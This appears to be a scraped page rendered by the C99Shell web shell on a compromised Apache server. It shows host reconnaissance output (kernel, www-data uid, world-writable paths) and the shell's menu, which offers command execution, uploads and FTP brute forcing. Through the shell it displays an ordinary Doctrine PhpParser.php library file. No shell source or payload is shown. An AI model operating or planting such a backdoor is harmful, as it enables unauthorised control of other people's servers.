!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/dokan/script/vendor/doctrine/annotations/lib/Doctrine/Common/Annotations/   drwxrwxrwx
Free 13.02 GB of 57.97 GB (22.47%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     PhpParser.php (2.42 KB)      -rwxrwxrwx
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Doctrine\Common\Annotations;

use 
ReflectionClass;
use 
ReflectionFunction;
use 
SplFileObject;

use function 
is_file;
use function 
method_exists;
use function 
preg_quote;
use function 
preg_replace;

/**
 * Parses a file for namespaces/use/class declarations.
 */
final class PhpParser
{
    
/**
     * Parses a class.
     *
     * @deprecated use parseUseStatements instead
     *
     * @param ReflectionClass $class A <code>ReflectionClass</code> object.
     *
     * @return array<string, class-string> A list with use statements in the form (Alias => FQN).
     */
    
public function parseClass(ReflectionClass $class)
    {
        return 
$this->parseUseStatements($class);
    }

    
/**
     * Parse a class or function for use statements.
     *
     * @param ReflectionClass|ReflectionFunction $reflection
     *
     * @psalm-return array<string, string> a list with use statements in the form (Alias => FQN).
     */
    
public function parseUseStatements($reflection): array
    {
        if (
method_exists($reflection'getUseStatements')) {
            return 
$reflection->getUseStatements();
        }

        
$filename $reflection->getFileName();

        if (
$filename === false) {
            return [];
        }

        
$content $this->getFileContent($filename$reflection->getStartLine());

        if (
$content === null) {
            return [];
        }

        
$namespace preg_quote($reflection->getNamespaceName());
        
$content   preg_replace('/^.*?(\bnamespace\s+' $namespace '\s*[;{].*)$/s''\\1'$content);
        
$tokenizer = new TokenParser('<?php ' $content);

        return 
$tokenizer->parseUseStatements($reflection->getNamespaceName());
    }

    
/**
     * Gets the content of the file right up to the given line number.
     *
     * @param string $filename   The name of the file to load.
     * @param int    $lineNumber The number of lines to read from file.
     *
     * @return string|null The content of the file or null if the file does not exist.
     */
    
private function getFileContent($filename$lineNumber)
    {
        if (! 
is_file($filename)) {
            return 
null;
        }

        
$content '';
        
$lineCnt 0;
        
$file    = new SplFileObject($filename);
        while (! 
$file->eof()) {
            if (
$lineCnt++ === $lineNumber) {
                break;
            }

            
$content .= $file->fgets();
        }

        return 
$content;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0052 ]--